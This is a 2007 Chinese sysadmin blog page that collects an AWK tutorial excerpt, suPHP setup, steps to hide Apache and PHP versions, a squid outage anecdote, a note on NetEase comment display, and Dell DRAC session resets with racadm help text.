hammers QTY: 5 PRICE: 7.99 TOTAL: 39.95 BAL: 39.95
drills QTY: 2 PRICE: 29.99 TOTAL: 59.98 BAL: 99.93
punches QTY: 7 PRICE: 3.59 TOTAL: 25.13 BAL: 125.06
drifts QTY: 2 PRICE: 4.09 TOTAL: 8.18 BAL: 133.24
bits QTY: 55 PRICE: 1.19 TOTAL: 65.45 BAL: 198.69
saws QTY: 123 PRICE: 14.99 TOTAL: 1843.77 BAL: 2042.46
nails QTY: 800 PRICE: .19 TOTAL: 152 BAL: 2194.46
screws QTY: 80 PRICE: .29 TOTAL: 23.2 BAL: 2217.66
brads QTY: 100 PRICE: .24 TOTAL: 24 BAL: 2241.66
$

该过程提供了每条记录的清单,同时将总价值分配给库存值,并保持商店资产的运作平衡。

BEGIN 和 END

使用 BEGIN 和 END 语句可以分别指定在处理实际开始之前或者完成之后进行操作。BEGIN 语句最常用于建立变量或显示标题。另一方面,END 语句可用于在程序结束后继续进行处理。

在前面的示例中,利用以下例程生成了物品的总价值:

awk ‘{x=x+($2*$3)} {print x}’ inventory

该例程在运行总计累加时显示了文件中的每一行。没有其他方法可以指定它,而不让在每一行进行打印也导致它始终不打印出来。但是,利用 END 语句可以避免这一问题:

$ awk ‘{x=x+($2*$3)} END {print “Total Value of Inventory:”x}’ inventory
Total Value of Inventory: 2241.66
$

定义了变量 x,它对每一行进行处理;但是,在所有处理完成之前不会生成显示。尽管可以作为独立例程使用,它也可以置入到先前的代码列表,添加更多信息并生成更完整的报表:

$ awk ‘{x=x+($2*$3)} {print $1,”QTY: “$2,”PRICE:
   “$3,”TOTAL: “$2*$3} END {print “Total Value of Inventory: ” x}’ inventory

hammers QTY: 5 PRICE: 7.99 TOTAL: 39.95
drills QTY: 2 PRICE: 29.99 TOTAL: 59.98
punches QTY: 7 PRICE: 3.59 TOTAL: 25.13
drifts QTY: 2 PRICE: 4.09 TOTAL: 8.18
bits QTY: 55 PRICE: 1.19 TOTAL: 65.45
saws QTY: 123 PRICE: 14.99 TOTAL: 1843.77
nails QTY: 800 PRICE: .19 TOTAL: 152
screws QTY: 80 PRICE: .29 TOTAL: 23.2
brads QTY: 100 PRICE: .24 TOTAL: 24
Total Value of Inventory: 2241.66
$

BEGIN 命令与 END 的工作方式相同,但它建立了那些需要在完成其他工作之前所做的项目。该过程最常见的目的是创建报表的标题。此例程的语法类似于

$ awk ‘BEGIN {print “ITEM   QUANTITY   PRICE   TOTAL”}’

输入、输出和源文件

AWK 工具可以从文件中读取其输入,正如在此之前所有示例所做的那样,它也可以从其他命令的输出中获取输入。例如:

$ sort emp_names | awk ‘{print $3,$2}’

awk 命令的输入是排序操作的输出。除了 sort,还可以使用任何其他的 Linux 命令 — 例如 grep。该过程允许您在离开所选定字段前对文件执行其他操作。

类似于解释程序,AWK 使用输出改向操作符 > 和 >> 将其输出放入文件中而不是标准输出设备。这些符号的作用类似于它们在解释程序中的对应符号,因此 > 在不存在文件时创建文件,而 >> 追加到现有文件的尾部。请看以下的示例:

$ awk ‘{print NR, $1 ) > “/tmp/filez” }’ emp_names
$ cat /tmp/filez
1      46012
2      46013
3      46015
4      46017
5      46018
6      46019
7      46021
8      46022
9      46024
10      46026
11      46027
12      46029
$

检查该语句的语法,您会看到输出改向是在打印语句完成后进行的。必须将文件名包含在引号中,否则它只是一个未初始化的 AWK 变量,而将指令联接起来会在 AWK 中产生错误。(如果不正确地使用改向符号,则 AWK 无法了解该符号意味着“改向”还是一个关系操作符。)

在 AWK 中输出到管道也类似于解释程序中所实现的相同操作。要将打印命令的输出发送到管道中,可以在打印命令后附加管道符号以及命令的名称,如下所示:

$ awk ‘{ print $2 | “sort” }’ emp_names
BOGUE
BUCK
DULANEY
DURHAM
FELDMAN
FERGUS
JUNE
KANE
STEEN
SWIM
TUTTLE
WOOD
$

这是输出改向的情况,必须将命令包含在引号中,而管道的名称是被执行命令的名称。

AWK 所使用的命令可以来自两个地方。首先,可以在命令行中指定它们,如示例中所示。其次,它们可以由源文件提供。如果是这种情况,通过 -f 选项将这种情况向 AWK 发出警告。演示如下:

$ cat awklist
{print $3,$2}
{print $4,$5,”\\n”}
$

$ awk -f awklist emp_names
EVAN DULANEY
MOBILE AL

JEFF DURHAM
MOBILE AL

BILL STEEN
MOBILE AL

EVAN FELDMAN
MOBILE AL

STEVE SWIM
UNKNOWN AL

ROBERT BOGUE
PHOENIX AZ

MICAH JUNE
PHOENIX AZ

SHERYL KANE
UNKNOWN AR

WILLIAM WOOD
MUNCIE IN

SARAH FERGUS
MUNCIE IN

SARAH BUCK
MUNCIE IN

BOB TUTTLE
MUNCIE IN

$

注意,在源文件中的任何地方或者在命令行中调用它时,不使用单引号。单引号只用于区别命令行中的命令与文件名称。

如果简单的输出不能处理您的程序中所需要的复杂信息,则可以尝试由 printf 命令获得的更加复杂的输出,其语法是

printf( format, value, value …)

该语法类似于 C 语言中的 printf 命令,而格式的规格是相同的。通过插入一项定义如何打印数值的规格,可以定义该格式。格式规格包含一个跟有字母的 %。类似于打印命令,printf 不必包含在圆括号中,但是可以认为使用圆括号是一种良好的习惯。

下表列出 printf 命令提供的各种规格。

规格 说明
%c 打印单个 ASCII 字符
%d 打印十进制数
%e 打印数字的科学计数表示
%f 打印浮点表示
%g 打印 %e 或 %f;两种方式都更简短
%o 打印无符号的八进制数
s 打印 ASCII 字符串
%x 打印无符号的十六进制数
%% 打印百分号;不执行转换

可以在 % 与字符之间提供某些附加的格式化参数。这些参数进一步改进数值的打印方式:

参数 说明
- 将字段中的表达式向左对齐
,width 根据需要将字段补齐到指定宽度(前导零使用零将字段补齐)
.prec 小数点右面数字的最大字符串宽度或最大数量

printf 命令能够控制并将数值从一种格式转换为另一种格式。当需要打印变量的值时,只需提供一种规格,指示 printf 如何打印信息(通常包含在双引号中)即可。必须为每个传递到 printf 的变量包含一个规格参数;如果包含过少的参数,则 printf 不会打印所有的数值。

处理错误

AWK 工具报告所发生错误的方式很令人恼火。一个错误会阻碍任何操作的进行,所提供的错误信息非常含混不清:

awk: syntax error near line 2
awk: bailing out near line 2

您可能会花几小时的时间查看第 2 行,试图找出它为什么阻碍程序运行;这就是支持使用源文件的一个有力论据。

切记有两条规则可以帮助您避免出现语法错误:

1. 确保命令位于括号中,而括号位于单引号中。没有使用这些字符之一必然导致程序无法运行。

2. 搜索命令需要位于斜线之间。要找出住在印第安那州的员工,您必须使用“/IN/”而不是“IN”。

结论

尽管 AWK 完全代表另外的含意,但它应该是管理员智能工具包的首字母缩写。连同 SED 一起,AWK 实用工具是 Linux 管理员所拥有的功能最强大和灵活的工具之一。通过了解其语言的一些特性,您可以开辟出能够简化任务的领域,否则这些任务将会是非常费时和困难的。

http://www.oracle.com/technology/global/cn/pub/articles/dulaney_awk.html

三月 1st, 2007莫名其妙的错误

早上突然主站的cache挂掉了,ssh进去后,看到端口没了,可是进程还在,我自己写的那个检测的shell看到这种情况也猛重起squid,LVS里面也已经自动把这台cache给删掉了,查了一下日志,看到
(squid): ipcache_init: DNS name lookup tests failed.
好像是DNS问题,ping一下DNS,竟然没反应,几个DNS都ping一下,竟然全都没反应,ping一下网关也没反映,奇怪,日志里面也没别的错误了。可是我还能远程SSH进去啊,ping我机器的IP也没反映,难道机器路由表有问题?重起一下网卡,重起完所有奇怪的症状都消失了,重起把squid给开起来,加入到LVS里面,一切正常。

三月 1st, 2007配置suPHP

http://www.suphp.org

1.安装httpd的开发包,httpd-devel

2.安装编译suPHP
#./configure –prefix=/usr –with-apxs2=/usr/sbin/apxs -

-sysconfdir=/etc/httpd/conf –with-apache-user=apache –with-setid-mode=owner

–with-apache-user=apache是设置apache的运行用户
–with-setid-mode=owner设置suPHP的模式,有force,paranoid,owner

3.修改httpd.conf
加入:LoadModule suphp_module modules/mod_suphp.so

<Directory /v0/www1>
<IfModule mod_suphp.c>
suPHP_Engine on            #开启/关闭suPHP
suPHP_ConfigPath /etc/httpd/conf #配置文件目录
suPHP_AddHandler x-httpd-php
AddHandler x-httpd-php .php
</IfModule>
</Directory>

4.添加suphp.conf
在/etc/httpd/conf里面添加suphp.conf文件

[global]
;Path to logfile
logfile=/var/log/suphp.log

;Loglevel
loglevel=info

;User Apache is running as
webserver_user=apache

;Path all scripts have to be in
docroot=/

;Path to chroot() to before executing script
;chroot=/mychroot

; Security options
allow_file_group_writeable=false
allow_file_others_writeable=false
allow_directory_group_writeable=false
allow_directory_others_writeable=false

;Check wheter script is within DOCUMENT_ROOT
check_vhost_docroot=true

;Send minor error messages to browser
errors_to_browser=false

;PATH environment variable
env_path=/bin:/usr/bin

;Umask to set, specify in octal notation
umask=0007

; Minimum UID
min_uid=48

; Minimum GID
min_gid=48

[handlers]
;Handler for php-scripts
x-httpd-php=php:/usr/bin/php

;Handler for CGI-scripts
x-suphp-cgi=execute:!self

suPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter.

[url]http://www.suphp.org[/url]

下载后即可安装,过程十分简单:

tar zxf suphp-0.5.2.tar.gz
cd suphp-0.5.2
./configure \\
–with-php=/usr/local/bin/php \\
–with-apxs=/usr/local/apache2/bin/apxs \\
–with-logfile=/var/log/suphp \\
–with-apache-user=www
gmake
gmake install

即可完成安装。

mod_suPHPsh实际上是以cgi的方式运行php脚本。对于不需要以其他用户身份运行的脚本仍然可以使用mod_php4来处理。两种方式的切换简而言之就是
php_admin_flag engine on/off
suPHP_Engine on/off
的配置(在VirtualHost或者Main Server的Configuration中)

参考网址:
[url]http://www.pookey.co.uk/php-suphp-modphp.xml[/url]
[url]http://www.pookey.co.uk/php-suphp.xml[/url]

另注:编译时的–with-php中指定的php必须是CGI方式的可执行文件,而不能是cli的,否则运行时会因为没有正确的http头而导致cgi500错误。要编译cgi的可执行文件,需要在编译php时的configure中不设置–with-apxs2才行,否则即使使用了–enable-cgi,编译程序仍然不会编译安装cgi方式的php可执行程序(php-4.3.10中是这样)。

要將 Apache 及 PHP 的版本隱藏,可以用以下方法:

Apache:
開啟 httpd.conf,加入以下兩行:

ServerTokens ProductOnly
ServerSignature Off

PHP:
隱藏 PHP 版本就是隱藏 "X-Powered-By: PHP/5.1.2-1+b1" 這個,開啟 php.ini,加入:

expose_php = Off

完成以上兩個設定後,重新啟動 Apache 即可。

三月 1st, 2007网易评论的巧妙地方

一向喜欢到网易看新闻,不过不是喜欢看他的新闻,是喜欢看他新闻下面的评论。而且每次一发评论就能马上看到,想想难道网易采用先审后发的么?

原来不是,网易的评论也是采用“先发后审”的,那为什么我们自己一发评论就能马上看到呢?
原来你最新发的这个评论是只有你自己能看到,在还没有经过审核的评论,别人是还看不到的,那奇怪,网易的评论显示页面是静态的啊,看了一下html代码,原来网易是采用javascript+cookies,即你发完评论后在你的cookies里面也把你刚才的评论写进去,然后用javascript来读取你的cookies,使你能即时看到你自己的评论,又避免采用动态页面,不过他上面那个共有评论多少条那个就是真实的。

三月 1st, 2007搞定dell的DRAC卡

DRAC卡通过IE登陆老是报错,提示会话连接满,一个卡最多只能4个连接同时,可是不知道这个卡怎么回事,以前登陆后退出的那些连接竟然没注销掉,事实上他里面也是一台小计算机,可以重起。
racadm -u root -p password -r IP 命令
先用getssninfo看看有多少个连接,看到的是:
Session table summary status:
4 Active
0 Available

Type   User   IP Address   Login Date/Time       Consoles
—— ——– ————- ————————- ——–
Web   RAC\\root 111.111.11.1 Thu, 22 Jun 2006 12:47:53 NONE
Web   RAC\\root 111.111.11.1 Thu, 29 Jun 2006 10:27:58 NONE
Web   RAC\\root 111.111.11.1 Thu, 29 Jun 2006 10:34:58 NONE
Web   RAC\\root 111.111.11.1 Thu, 29 Jun 2006 10:46:34 NONE
Racadm RAC\\root 111.111.11.1 Tue, 25 Jul 2006 11:24:44 NONE

这样,然后就用racreset把这个卡重起一下就好了,一切正常了,dell的金牌服务工程师还搞了几天都搞不好,哎,BS一下!

RACADM version 4.1.0 (Build 000705)
Copyright (c) 2003-2005 Dell, Inc.
All Rights Reserved

help         — display usage statement for a specified subcommand
clearasrscreen   — clear the last ASR screen (last blue screen)
clrraclog     — clear the RAC log
clrsel       — clear the System Event Log (SEL)
config       — modifies the current RAC configuration
coredump       — display the last RAC coredump
coredumpdelete   — delete the RAC coredump from memory
fwupdate       — execute or get status on RAC firmware update
getconfig     — display the current RAC configuration
getniccfg     — display the current IP configuration
getraclog     — display the total number of entries in the RAC Log
getractime     — display the time from the Remote Access Controller (RAC)
getsel       — display total number of entries in the system event log
getssninfo     — display information about active sessions
getsvctag     — display service tags
getsysinfo     — display general RAC and system information
gettracelog     — display RAC trace log entries
racdump       — dump RAC status and state information for debug
racreset       — reset the RAC
racresetcfg     — reset the RAC to the default configuration
serveraction   — execute graceful/hard server reset, or power-on/off/cycle
setniccfg     — set NIC configuration info
setrac       — set hostname, OS name/type from host-to-RAC
sslcertupload   — upload a server or Active Directory trusted CA certificate
sslcertdownload — download a server or Active Directory CA certificate
sslcertview     — view a server or Active Directory CA certificate
sslcsrgen     — generate and download CSR from the RAC or check CSR status
testemail     — test the RAC e-mail feature
testtrap       — test the RAC SNMP trap feature
version       — display the version info of RACADM
vmdisconnect   — force virtual media disconnect

Command options common to all commands:

-l <level>   specifies log level for debug
-v <level>   specifies verbose level for screen output
-L <filename> specifies a debug logfile for output

Usage of racadm commands for remote administration :

racadm -r<RAC IP address> -u<username> -p<password> <RAC command and options>
racadm -r<RAC IP address> -i <RAC command and options>

With the "-i" option, the username and password are entered interactively.


© 2007 阿熊的窝 | 粤ICP备09064960号 | Powered by Wordpress